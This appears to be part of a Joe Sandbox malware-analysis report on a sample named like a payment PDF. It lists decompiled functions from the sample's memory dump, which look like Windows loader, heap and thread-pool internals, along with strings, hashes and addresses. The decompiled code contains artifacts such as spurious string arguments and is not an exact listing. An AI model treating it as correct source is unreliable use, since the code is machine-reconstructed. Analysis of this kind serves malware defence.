							 *(_t121 + 0x28) =  *(_t121 + 0x28) & 0x000000fe;
						}
					}
					if( *((intOrPtr*)(_t121 + 0x2c)) != 0) {
						if(( *(_t121 + 0x38) & 0x00000002) == 0) {
							E3349F1F0(0);
							 *((intOrPtr*)(_t121 + 0x2c)) = 0;
						}
					}
					_t83 =  *(_t121 + 0x48);
					if(_t83 != 0 && ( *(_t83 + 0x10c) & 0x00000001) == 0) {
						_t83 =  *[fs:0x18];
						_t131 = 0x50;
						if( *((intOrPtr*)( *[fs:0x18] + 0xf9c)) != 0) {
							if(( *(_t121 + 0x38) & 0x00000004) == 0) {
								L334B8F40( &_v92, 0, _t131);
								_t138 = _t138 + 0xc;
								_v72 =  *((intOrPtr*)(_t121 + 0x30));
								_v68 =  *((intOrPtr*)(_t121 + 0x34));
								_push( &_v92);
								_v92 = 0xc0000710;
								_v76 = 2;
								E334C8A60(_t123, _t126);
								_push("true");
								_v100 = 0;
								_push( &_v100);
								_push("true");
								_push(0xfffffffe);
								_t83 = E334B2A60();
							}
						}
						_t126 =  *(_t121 + 0x38);
						if((_t126 & 0x00000010) == 0 && L33476929() != 0) {
							_push( *((intOrPtr*)(_t121 + 0x34)));
							L334FEF10(0x54, 0, "ThreadPool: callback %p(%p) returned with a transaction uncleared\n",  *((intOrPtr*)(_t121 + 0x30)));
							L334B8F40( &_v92, 0, _t131);
							_t138 = _t138 + 0x20;
							_v92 = 0xc000071d;
							_v76 = 0;
							_push( &_v92);
							_t83 = E334C8A60(_t123, _t126);
							_t126 =  *(_t121 + 0x38);
						}
						if((_t126 & 0x00000020) == 0) {
							_t123 =  *[fs:0x18];
							_t100 =  *((intOrPtr*)( *[fs:0x30] + 0xa0));
							_t83 =  *(_t100 + 0xc);
							if( *(_t100 + 0xc) ==  *((intOrPtr*)( *[fs:0x18] + 0x24))) {
								_push( *((intOrPtr*)(_t121 + 0x34)));
								L334FEF10(0x54, 0, "ThreadPool: callback %p(%p) returned with the loader lock held\n",  *((intOrPtr*)(_t121 + 0x30)));
								L334B8F40( &_v92, 0, _t131);
								_t138 = _t138 + 0x20;
								_v92 = 0xc000071e;
								_v76 = 0;
								_push( &_v92);
								_t83 = E334C8A60(_t123, _t126);
								_t126 =  *(_t121 + 0x38);
							}
						}
						if((_t126 & 0x00000040) == 0) {
							_t83 =  *[fs:0x18];
							if( *((intOrPtr*)( *[fs:0x18] + 0xfb8)) != 0) {
								_push( *((intOrPtr*)(_t121 + 0x34)));
								L334FEF10(0x54, 0, "ThreadPool: callback %p(%p) returned with preferred languages set\n",  *((intOrPtr*)(_t121 + 0x30)));
								L334B8F40( &_v92, 0, _t131);
								_t138 = _t138 + 0x20;
								_v92 = 0xc000071f;
								_v76 = 0;
								_push( &_v92);
								_t83 = E334C8A60(_t123, _t126);
								_t126 =  *(_t121 + 0x38);
							}
						}
						if(_t126 >= 0) {
							_t83 =  *[fs:0x18];
							if( *((intOrPtr*)( *[fs:0x18] + 0xf88)) != 0) {
								_push( *((intOrPtr*)(_t121 + 0x34)));
								L334FEF10(0x54, 0, "ThreadPool: callback %p(%p) returned with background priorities set\n",  *((intOrPtr*)(_t121 + 0x30)));
								L334B8F40( &_v92, 0, _t131);
								_t138 = _t138 + 0x20;
								_v92 = 0xc0000720;
								_v76 = 0;
								_push( &_v92);
								_t83 = E334C8A60(_t123, _t126);
							}
						}
					}
					goto L15;
				}
			}

0x334763cb
0x334763d3
0x334763db
0x334763dd
0x334763e2
0x334763e8
0x334764d4
0x334764d8
0x334764d9
0x334764da
0x334764e5
0x334763ee
0x3347640e
0x33476415
0x33476416
0x33476417
0x3347641a
0x3347641e
0x33476422
0x33476427
0x3347642c
0x334d0d22
0x334d0d28
0x334d0d29
0x334d0d2b
0x334d0d34
0x334d0d3a
0x334d0d45
0x334d0d4f
0x334d0d4f
0x334d0d34
0x33476436
0x334d0d5e
0x334d0d64
0x334d0d66
0x334d0d6b
0x334d0d6b
0x334d0d5e
0x3347643f
0x334d0d78
0x334d0d7f
0x334d0d84
0x334d0d84
0x334d0d78
0x33476445
0x3347644a
0x33476459
0x33476461
0x33476468
0x334d0d90
0x334d0d9d
0x334d0da5
0x334d0da8
0x334d0daf
0x334d0db7
0x334d0db8
0x334d0dc0
0x334d0dc8
0x334d0dcd
0x334d0dd3
0x334d0dd7
0x334d0dd8
0x334d0dda
0x334d0ddc
0x334d0ddc
0x334d0d90
0x3347646e
0x33476474
0x334d0de6
0x334d0df4
0x334d0e03
0x334d0e08
0x334d0e0b
0x334d0e17
0x334d0e1b
0x334d0e1c
0x334d0e21
0x334d0e21
0x33476486
0x3347648e
0x33476495
0x3347649b
0x334764a1
0x334d0e29
0x334d0e37
0x334d0e46
0x334d0e4b
0x334d0e4e
0x334d0e5a
0x334d0e5e
0x334d0e5f
0x334d0e64
0x334d0e64
0x334764a1
0x334764aa
0x334764ac
0x334764b8
0x334d0e6c
0x334d0e7a
0x334d0e89
0x334d0e8e
0x334d0e91
0x334d0e9d
0x334d0ea1
0x334d0ea2
0x334d0ea7
0x334d0ea7
0x334764b8
0x334764c0
0x334764c2
0x334764ce
0x334d0eaf
0x334d0ebd
0x334d0ecc
0x334d0ed1
0x334d0ed4
0x334d0ee0
0x334d0ee4
0x334d0ee5
0x334d0ee5
0x334764ce
0x334764c0
0x00000000
0x3347644a

Strings

ThreadPool: callback %p(%p) returned with a transaction uncleared, xrefs: 334D0DEC
ThreadPool: callback %p(%p) returned with preferred languages set, xrefs: 334D0E72
ThreadPool: callback %p(%p) returned with background priorities set, xrefs: 334D0EB5
ThreadPool: callback %p(%p) returned with the loader lock held, xrefs: 334D0E2F

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: ThreadPool: callback %p(%p) returned with a transaction uncleared$ThreadPool: callback %p(%p) returned with background priorities set$ThreadPool: callback %p(%p) returned with preferred languages set$ThreadPool: callback %p(%p) returned with the loader lock held
API String ID: 0-1468400865
Opcode ID: 421c63604a9d4fa388bd458547e6fb94b5b6e8dcd28a47e6ea943180e03e73a6
Instruction ID: a88da86b295041cc174cc8d7cbdf4296da4a940ed08c78bae8c15b00efe21ef6
Opcode Fuzzy Hash: 421c63604a9d4fa388bd458547e6fb94b5b6e8dcd28a47e6ea943180e03e73a6
Instruction Fuzzy Hash: 767100B1904344AFDB50CF14C884B877BADEF847A4F4404ADF9988B646C739D589CBEA

Uniqueness

Uniqueness Score: -1.00%

Function 334690F8 Relevance: 5.1, Strings: 4, Instructions: 100COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 334CB83C, 334CB879
VirtualQuery Failed 0x%p %x, xrefs: 334CB886
VirtualProtect Failed 0x%p %x, xrefs: 334CB849
HEAP[%wZ]: , xrefs: 334CB82F, 334CB86C

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $VirtualProtect Failed 0x%p %x$VirtualQuery Failed 0x%p %x
API String ID: 0-1391187441
Opcode ID: 9737b64c916a2d915ff4c275462d5fa342cbf446c0b2dfea6151e7c5b2421df2
Instruction ID: eff1ed0e5d7ecb89dc69eb9a7605df0f176df806ba0f83726bf90d32ef4360a8
Opcode Fuzzy Hash: 9737b64c916a2d915ff4c275462d5fa342cbf446c0b2dfea6151e7c5b2421df2
Instruction Fuzzy Hash: 6F31A33A901244EFEB01CF95CC84F9AB7B8FB45764F2444A5F814AB391DB70E945CE68

Uniqueness

Uniqueness Score: -1.00%

Function 334B1190 Relevance: 5.1, Strings: 4, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E334B1190(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, signed int _a8) {
				signed int _v8;
				char _v12;
				char _v20;
				char _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char* _v44;
				intOrPtr _v48;
				char _v52;
				signed int _t38;
				signed int _t39;
				void* _t55;
				void* _t61;
				void* _t62;
				signed int _t63;
				void* _t65;
				signed int _t70;

				_t55 = __edx;
				E334B5050(__ecx,  &_v20, __ecx);
				_v52 = 0x18;
				_v44 =  &_v20;
				_v48 = 0;
				_push( &_v52);
				_push(0x20019);
				_v40 = 0x40;
				_push( &_v12);
				_v36 = 0;
				_v32 = 0;
				_t62 = L334B2AB0();
				if(_t62 < 0) {
					L9:
					return _t62;
				}
				_t38 = _a8;
				_push("true");
				_pop(_t63);
				_t39 = _t38 * _t63;
				_t70 = _t38 * _t63 >> 0x20;
				if(_t70 < 0 || _t70 <= 0 && _t39 <= 0xffffffff) {
					_v8 = _t39;
					_push( &_v8);
					_t61 = 0xc;
					_t58 = _t39;
					if(E334A457E(_t39, _t61) < 0) {
						goto L13;
					}
					_t65 = L33485D90(_t58,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _v8);
					if(_t65 == 0) {
						_t62 = 0xc0000017;
					} else {
						_t20 =  &_v28; // 0x334ae065
						E334B5050(_t58, _t20, _t55);
						_push( &_a8);
						_push(_v8);
						_t23 =  &_v28; // 0x334ae065
						_push(_t65);
						_push(_t63);
						_push(_v12);
						_t62 = E334B2B00();
						if(_t62 >= 0) {
							_t28 = _t65 + 0xc; // 0xc
							L334B88C0(_a4, _t28,  *((intOrPtr*)(_t65 + 8)));
						}
						E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t65);
					}
					_push(_v12);
					E334B2A80();
					goto L9;
				} else {
					L13:
					_push(_v12);
					E334B2A80();
					return 0xc0000095;
				}
			}

0x334b119f
0x334b11a2
0x334b11aa
0x334b11b1
0x334b11b9
0x334b11bc
0x334b11bd
0x334b11c5
0x334b11cc
0x334b11cd
0x334b11d0
0x334b11d8
0x334b11dc
0x334b126d
0x00000000
0x334b126d
0x334b11e2
0x334b11e5
0x334b11e7
0x334b11e8
0x334b11ea
0x334b11ec
0x334b1200
0x334b1203
0x334b1206
0x334b1207
0x334b1210
0x00000000
0x00000000
0x334b1229
0x334b122d
0x334b128a
0x334b122f
0x334b1230
0x334b1234
0x334b123c
0x334b123d
0x334b1240
0x334b1243
0x334b1244
0x334b1246
0x334b124e
0x334b1252
0x334b1279
0x334b1280
0x334b1285
0x334b1260
0x334b1260
0x334b1265
0x334b1268
0x00000000
0x334e9a99
0x334e9a99
0x334e9a99
0x334e9a9c
0x00000000
0x334e9aa1

Strings

eJ3, xrefs: 334B1230, 334B1240, 334B1233, 334B1245
BuildLabEx, xrefs: 334B122F
@, xrefs: 334B11C5
\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 334B119B

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: @$BuildLabEx$\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion$eJ3
API String ID: 0-1471241777
Opcode ID: 407c755b68f4ec02dd6d9c758742cc6edbdac8ff7d311d90ea503818e906d973
Instruction ID: 883ac21edb2d316cfece17b39312f33490f1d2af4e8e6d9e5e4cfd57de0254bb
Opcode Fuzzy Hash: 407c755b68f4ec02dd6d9c758742cc6edbdac8ff7d311d90ea503818e906d973
Instruction Fuzzy Hash: 52316171D00719BFDF11CB94DC44E9EBBB9EF88750F004029E595E72A0DB34DA059BA8

Uniqueness

Uniqueness Score: -1.00%

Function 334F166E Relevance: 5.1, Strings: 4, Instructions: 85
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E334F166E(intOrPtr __ecx) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _t19;
				void* _t23;
				intOrPtr _t26;
				intOrPtr _t29;
				intOrPtr _t30;
				intOrPtr _t38;
				void* _t42;
				intOrPtr _t43;
				intOrPtr _t44;
				void* _t46;
				void* _t47;
				void* _t48;

				_t44 = __ecx;
				_t30 = 0;
				_v16 = __ecx;
				_t42 =  *((intOrPtr*)(__ecx + 0x54)) +  *((intOrPtr*)( *[fs:0x30] + 8)) + 0xffffffd4;
				_t19 = L334B9EB0(_t42, "BoG_ *90.0&!!  Yy>", 0x13);
				_t48 = _t47 + 0xc;
				if(_t19 != 0 ||  *((intOrPtr*)(_t42 + 0x20)) > 3) {
					_t43 = 1;
					_v8 = 1;
					_t46 = _t44 + 0x18 + ( *(_t44 + 0x14) & 0x0000ffff);
					_v12 = _t30;
					if(0 <  *(_v16 + 6)) {
						while(1) {
							_t23 = L334B9EB0(_t46, "stxt371", "true");
							_t48 = _t48 + 0xc;
							if(_t23 == 0) {
								goto L12;
							}
							if(_t43 != 0) {
								_t29 = L334B9EB0(_t46, ".txt", "true");
								_t48 = _t48 + 0xc;
								_t43 = _t29;
							}
							_t26 = _v8;
							if(_t26 != 0) {
								_t26 = L334B9EB0(_t46, ".txt2", "true");
								_t48 = _t48 + 0xc;
								_v8 = _t26;
							}
							if(_t43 != 0 || _t26 != 0) {
								_t46 = _t46 + 0x28;
								_t38 = _v12 + 1;
								_v12 = _t38;
								if(_t38 < ( *(_v16 + 6) & 0x0000ffff)) {
									continue;
								} else {
								}
							} else {
								goto L12;
							}
							goto L13;
						}
						goto L12;
					}
				} else {
					L12:
					_t30 = 1;
					 *( *[fs:0x30] + 3) =  *( *[fs:0x30] + 3) | 0x00000008;
				}
				L13:
				return _t30;
			}

0x334f167e
0x334f1680
0x334f1689
0x334f1691
0x334f1699
0x334f16a0
0x334f16a6
0x334f16b2
0x334f16b7
0x334f16ba
0x334f16bc
0x334f16c8
0x334f16ca
0x334f16d2
0x334f16d7
0x334f16dc
0x00000000
0x00000000
0x334f16e0
0x334f16ea
0x334f16ef
0x334f16f2
0x334f16f2
0x334f16f4
0x334f16f9
0x334f1703
0x334f1708
0x334f170b
0x334f170b
0x334f1710
0x334f1719
0x334f171f
0x334f1720
0x334f1729
0x00000000
0x00000000
0x334f172b
0x00000000
0x00000000
0x00000000
0x00000000
0x334f1710
0x00000000
0x334f16ca
0x334f172d
0x334f172d
0x334f1733
0x334f1741
0x334f1741
0x334f1746
0x334f174a

Strings

.txt2, xrefs: 334F16FD
.txt, xrefs: 334F16E4
BoG_ *90.0&!! Yy>, xrefs: 334F1693
stxt371, xrefs: 334F16CC

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: .txt$.txt2$BoG_ *90.0&!! Yy>$stxt371
API String ID: 0-1880532218
Opcode ID: eaf58a6d12aaf38c1ff0343b6d997e4c76fee3e2b68d5cf1c1bb99241612f100
Instruction ID: 780c29e836c4ea73059c74d43b6b4b0e503b69cc8da71097e1abfba4f6c730b8
Opcode Fuzzy Hash: eaf58a6d12aaf38c1ff0343b6d997e4c76fee3e2b68d5cf1c1bb99241612f100
Instruction Fuzzy Hash: 3521457AE01200AFEB01CB58DC81B9EB3F5AF45744F0C406AF849A7381EB75E901CB68

Uniqueness

Uniqueness Score: -1.00%

Function 33477072 Relevance: 4.7, APIs: 3, Instructions: 158
timeCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E33477072(intOrPtr __ecx, void* __edx, intOrPtr _a4) {
				intOrPtr _v0;
				signed int _v8;
				signed int _v12;
				char _v16;
				signed int _v20;
				intOrPtr _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t51;
				signed int _t55;
				signed int* _t58;
				intOrPtr _t82;
				void* _t86;
				signed int _t87;
				signed int _t88;
				signed int _t92;
				signed int _t106;
				void* _t112;
				intOrPtr _t113;

				_t112 = __edx;
				_v24 = __ecx;
				_v20 = 0;
				_v16 = 0;
				_t113 =  *((intOrPtr*)(__edx + 0x58));
				if(_t113 != 0) {
					_push( &_v16);
					_push(0);
					_push(0);
					E334A85E0(_t86, __edx, __edx, _t113, __eflags);
				}
				_t87 = _t112 + 0x8c;
				_t92 =  *_t87;
				do {
					_t106 = _t92;
					_t51 = _t92 >> 1;
					if(_t51 == 0) {
						_v12 = _v12 & 0x00000000;
						_v8 = _v8 & 0x00000000;
					} else {
						_v12 = 1;
						_v8 = 1;
						if((_t92 & 0x00000001 | _t51 * 0x00000002 - 0x00000002) < 2) {
							_v8 = _v8 & 0x00000000;
						}
					}
					asm("lock cmpxchg [ebx], ecx");
					_t92 = _t106;
				} while (_t92 != _t106);
				_t88 = _t87 | 0xffffffff;
				if(_t113 != 0) {
					__eflags = _v12;
					if(__eflags != 0) {
						__eflags = E33492120(_t88, _t92, 0, _t113);
						if(__eflags >= 0) {
							_t82 = _v24;
							_t33 = _t82 + 0x50;
							 *_t33 =  *(_t82 + 0x50) | 0x00000100;
							__eflags =  *_t33;
							 *((intOrPtr*)(_t82 + 0x64)) = _t113;
						} else {
							_v12 = _v12 & 0x00000000;
							_v8 = _v8 & 0x00000000;
							_v20 = 1;
						}
					}
					_push(_v16);
					_push(0);
					E334AA6D0(_t88, _t112, _t113, __eflags);
					__eflags = _v20;
					if(_v20 != 0) {
						E3349DB40(_t112 + 0x20, _t88, 0);
						E33544600(_t112);
					}
				}
				if(_v8 != 0) {
					_push("true");
					asm("lock xadd [edi], eax");
					_t55 = L33483C40();
					__eflags = _t55;
					if(_t55 != 0) {
						_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t58 = 0x7ffe0386;
					}
					__eflags =  *_t58;
					if( *_t58 != 0) {
						E33544BE0( *((intOrPtr*)(_t112 + 0x5c)), _t112 + 0x78,  *((intOrPtr*)(_t112 + 0x30)),  *((intOrPtr*)(_t112 + 0x34)),  *((intOrPtr*)(_t112 + 0x3c)));
					}
					L33481C8F(_t88, _t112 + 0x78,  *((intOrPtr*)(_t112 + 0x5c)), _t112,  *((intOrPtr*)(_t112 + 0x74)), 0);
					asm("lock xadd [edi], eax");
					if(__eflags == 0) {
						 *0x335691e0(_t112);
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t112 + 4))))))();
					}
				}
				if(_a4 != 0) {
					__eflags = L33471F36(0);
					if(__eflags != 0) {
						 *((intOrPtr*)(_t112 + 0x70)) = _v0;
						asm("lock xadd [edi], eax");
						if(__eflags == 0) {
							 *0x335691e0(_t112);
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t112 + 4))))))();
						}
					}
				}
				if(_v12 != 0) {
					E33477007(_v24, _t112);
					return 1;
				}
				asm("lock xadd [edi], ebx");
				__eflags = _t88 == 1;
				if(_t88 == 1) {
					 *0x335691e0(_t112);
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t112 + 4))))))();
				}
				return 0;
			}

0x3347707d
0x3347707f
0x33477084
0x33477087
0x3347708a
0x3347708f
0x334d1534
0x334d1535
0x334d1536
0x334d1537
0x334d1537
0x33477095
0x3347709b
0x3347709d
0x3347709f
0x334770a1
0x334770a3
0x334d1541
0x334d1545
0x334770a9
0x334770b0
0x334770bf
0x334770c5
0x334770c7
0x334770cb
0x334770c5
0x334770cf
0x334770d3
0x334770d5
0x334770d9
0x334770de
0x334d1551
0x334d1555
0x334d155f
0x334d1561
0x334d1574
0x334d1577
0x334d1577
0x334d1577
0x334d157e
0x334d1563
0x334d1563
0x334d1567
0x334d156b
0x334d156b
0x334d1561
0x334d1581
0x334d1584
0x334d1586
0x334d158b
0x334d158f
0x334d159c
0x334d15a2
0x334d15a2
0x334d158f
0x334770e8
0x3347710e
0x33477111
0x33477115
0x3347711a
0x3347711c
0x334d15b5
0x33477122
0x33477122
0x33477122
0x33477129
0x3347712b
0x334d15ce
0x334d15ce
0x3347713c
0x33477143
0x33477147
0x334d15e0
0x334d15e6
0x334d15e6
0x33477147
0x334770ee
0x33477157
0x33477159
0x3347715e
0x33477163
0x33477167
0x334d15f5
0x334d15fb
0x334d15fb
0x33477167
0x33477159
0x334770f4
0x334770ff
0x00000000
0x33477106
0x334d1602
0x334d1606
0x334d1607
0x334d1611
0x334d1617
0x334d1617
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 334D15E0
RtlDebugPrintTimes.NTDLL ref: 334D15F5

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 5fec93f9e561aead6b653abba3e0d4d69535fe6148d7e64677a08305f5907c36
Instruction ID: 3877e14c1a2bbebfbbfa0c8be16039c62d766abd2fa6a35b16b05b895c84ef42
Opcode Fuzzy Hash: 5fec93f9e561aead6b653abba3e0d4d69535fe6148d7e64677a08305f5907c36
Instruction Fuzzy Hash: 39510D74A00705EFEB44DF28CA64BADBBB4FF44311F54812AE92297390DB74D912CB88

Uniqueness

Uniqueness Score: -1.00%

Function 33503608 Relevance: 4.1, Strings: 3, Instructions: 398
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E33503608(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				short _t140;
				short _t141;
				signed char* _t146;
				char* _t147;
				signed char* _t149;
				intOrPtr _t150;
				signed short _t167;
				intOrPtr _t185;
				signed int _t193;
				intOrPtr _t201;
				void* _t204;
				void* _t205;
				signed char* _t206;
				signed char* _t213;
				intOrPtr _t216;
				intOrPtr _t217;
				intOrPtr* _t218;
				signed int _t220;
				short _t223;
				signed short _t230;
				char* _t232;
				intOrPtr* _t235;
				void* _t239;
				void* _t245;
				void* _t258;
				intOrPtr _t266;
				intOrPtr _t267;
				intOrPtr _t269;
				char* _t271;
				char* _t274;
				signed int _t275;
				void* _t279;
				void* _t280;

				_push(0x45c);
				_push(0x3354cf20);
				L334C7C40(__ebx, __edi, __esi);
				 *(_t280 - 0x430) = __edx;
				_t266 = __ecx;
				 *((intOrPtr*)(_t280 - 0x428)) = __ecx;
				 *((intOrPtr*)(_t280 - 0x440)) =  *((intOrPtr*)(_t280 + 8));
				 *((intOrPtr*)(_t280 - 0x450)) =  *((intOrPtr*)(_t280 + 0x10));
				 *((intOrPtr*)(_t280 - 0x44c)) =  *((intOrPtr*)(_t280 + 0x14));
				 *((intOrPtr*)(_t280 - 0x444)) =  *((intOrPtr*)(_t280 + 0x18));
				 *((intOrPtr*)(_t280 - 0x434)) =  *((intOrPtr*)(_t280 + 0x1c));
				_t223 = 0x42;
				 *((short*)(_t280 - 0x43c)) = _t223;
				_t140 = 0x44;
				 *((short*)(_t280 - 0x43a)) = _t140;
				 *(_t280 - 0x438) = L"LdrpResSearchResourceHandle Enter";
				_t141 = 0x40;
				 *((short*)(_t280 - 0x464)) = _t141;
				 *((short*)(_t280 - 0x462)) = _t223;
				 *(_t280 - 0x460) = L"LdrpResSearchResourceHandle Exit";
				_t271 = 0;
				L334B8F40(_t280 - 0xc8, 0, _t141 + 0x6c);
				if(L33483C40() == 0) {
					_t146 = 0x7ffe0385;
				} else {
					_t146 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
				}
				if(( *_t146 & 0x00000001) == 0) {
					_t213 = 0x7ffe0384;
				} else {
					_t205 = L33483C40();
					_t213 = 0x7ffe0384;
					if(_t205 == 0) {
						_t206 = 0x7ffe0384;
					} else {
						_t206 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					L334FFC01(_t280 - 0x43c,  *_t206 & 0x000000ff);
				}
				if(_t266 == 0 || _t266 == 0xffffffff) {
					_t267 = 0xc000000d;
					goto L16;
				} else {
					 *(_t280 - 0x42c) =  *(_t280 - 0x430) & 0x00001000;
					_t150 = E3350314A(_t266, _t280 - 0x45c);
					if(_t150 >= 0 ||  *(_t280 - 0x42c) == _t271) {
						_t150 = E33503592(_t266, _t280 - 0x210, 0x40);
						if(_t150 >= 0) {
							if( *((intOrPtr*)(_t280 - 0x210)) == 0x5a4d) {
								_t269 =  *((intOrPtr*)(_t280 - 0x1d4));
								if( *(_t280 - 0x42c) == _t271) {
									L22:
									_t150 = E33503592( *((intOrPtr*)(_t280 - 0x428)), _t280 - 0x1d0, 0x108);
									if(_t150 >= 0) {
										if( *((intOrPtr*)(_t280 - 0x1d0)) != 0x4550) {
											goto L15;
										} else {
											if( *((intOrPtr*)(_t280 - 0x1b8)) != 0x10b) {
												if( *((intOrPtr*)(_t280 - 0x1b8)) != 0x20b ||  *((intOrPtr*)(_t280 - 0x1cc)) != 0x200 &&  *((intOrPtr*)(_t280 - 0x1cc)) != 0x8664) {
													goto L15;
												} else {
													if( *((intOrPtr*)(_t280 - 0x14c)) <= 2 ||  *((intOrPtr*)(_t280 - 0x134)) == _t271) {
														goto L30;
													} else {
														_t230 =  *((intOrPtr*)(_t280 - 0x1bc));
														if(_t230 == 0 || _t230 < 0x88) {
															goto L15;
														} else {
															_t216 =  *((intOrPtr*)(_t280 - 0x138));
															goto L43;
														}
													}
												}
											} else {
												_t245 = 0x14c;
												_t201 =  *((intOrPtr*)(_t280 - 0x1cc));
												if(_t201 == _t245 || _t201 == _t245 + 0x74 || _t201 == 0x1c2 || _t201 == 0x1c4) {
													if( *((intOrPtr*)(_t280 - 0x15c)) > 2) {
														if( *((intOrPtr*)(_t280 - 0x144)) == _t271) {
															goto L30;
														} else {
															_t230 =  *((intOrPtr*)(_t280 - 0x1bc));
															if(_t230 == 0 || _t230 < 0x78) {
																goto L15;
															} else {
																_t216 =  *((intOrPtr*)(_t280 - 0x148));
																L43:
																if(_t216 != 0) {
																	_t167 =  *(_t280 - 0x1ca);
																	if(_t167 != 0) {
																		_t273 = (_t167 & 0x0000ffff) * 0x28;
																		if((_t230 & 0x0000ffff) + 0x18 + (_t167 & 0x0000ffff) * 0x28 + _t269 <=  *((intOrPtr*)(_t280 - 0x45c))) {
																			_t147 = L33485D90(_t230,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t273);
																			 *(_t280 - 0x420) = _t147;
																			 *(_t280 - 0x448) = _t147;
																			if(_t147 != 0) {
																				_t274 =  *(_t280 - 0x420);
																				_t267 = E33503592( *((intOrPtr*)(_t280 - 0x428)), _t274, _t273);
																				 *((intOrPtr*)(_t280 - 0x41c)) = _t267;
																				if(_t267 < 0) {
																					L59:
																					_t147 =  *(_t280 - 0x420);
																					goto L60;
																				} else {
																					_t232 = _t274;
																					 *(_t280 - 0x438) = _t274;
																					_t258 = 0;
																					_t275 =  *(_t280 - 0x1ca) & 0x0000ffff;
																					if(_t275 != 0) {
																						while(_t216 < _t232[0xc] || _t216 >= _t232[0x10] + _t232[0xc]) {
																							_t232 =  &(_t232[0x28]);
																							_t258 = _t258 + 1;
																							if(_t258 < _t275) {
																								continue;
																							}
																							break;
																						}
																						 *(_t280 - 0x438) = _t232;
																					}
																					if(_t258 < _t275) {
																						_t278 = _t232[0x14] - _t232[0xc] + _t216;
																						if(_t232[0x14] - _t232[0xc] + _t216 == 0) {
																							goto L58;
																						} else {
																							_t217 =  *((intOrPtr*)(_t280 - 0x428));
																							_t267 = L33503C37(_t217, _t278);
																							 *((intOrPtr*)(_t280 - 0x41c)) = _t267;
																							if(_t267 < 0) {
																								goto L59;
																							} else {
																								if( *((intOrPtr*)(_t280 + 0xc)) != 3) {
																									L73:
																									 *((short*)(_t280 - 0x424)) = 0;
																									_t260 = _t217;
																									_t267 = L3347E9A0(0, _t217,  *((intOrPtr*)(_t280 - 0x45c)), _t278, _t280 - 0x1d0,  *(_t280 - 0x438),  *((intOrPtr*)(_t280 - 0x440)),  *((intOrPtr*)(_t280 + 0xc)), _t280 - 0x418,  *((intOrPtr*)(_t280 - 0x450)),  *((intOrPtr*)(_t280 - 0x44c)),  *(_t280 - 0x430), _t280 - 0x424);
																									 *((intOrPtr*)(_t280 - 0x41c)) = _t267;
																									if(_t267 < 0) {
																										goto L59;
																									} else {
																										_t235 =  *((intOrPtr*)(_t280 - 0x434));
																										if(_t235 == 0) {
																											goto L59;
																										} else {
																											_t182 =  *((intOrPtr*)(_t280 - 0x424));
																											_t271 = 0;
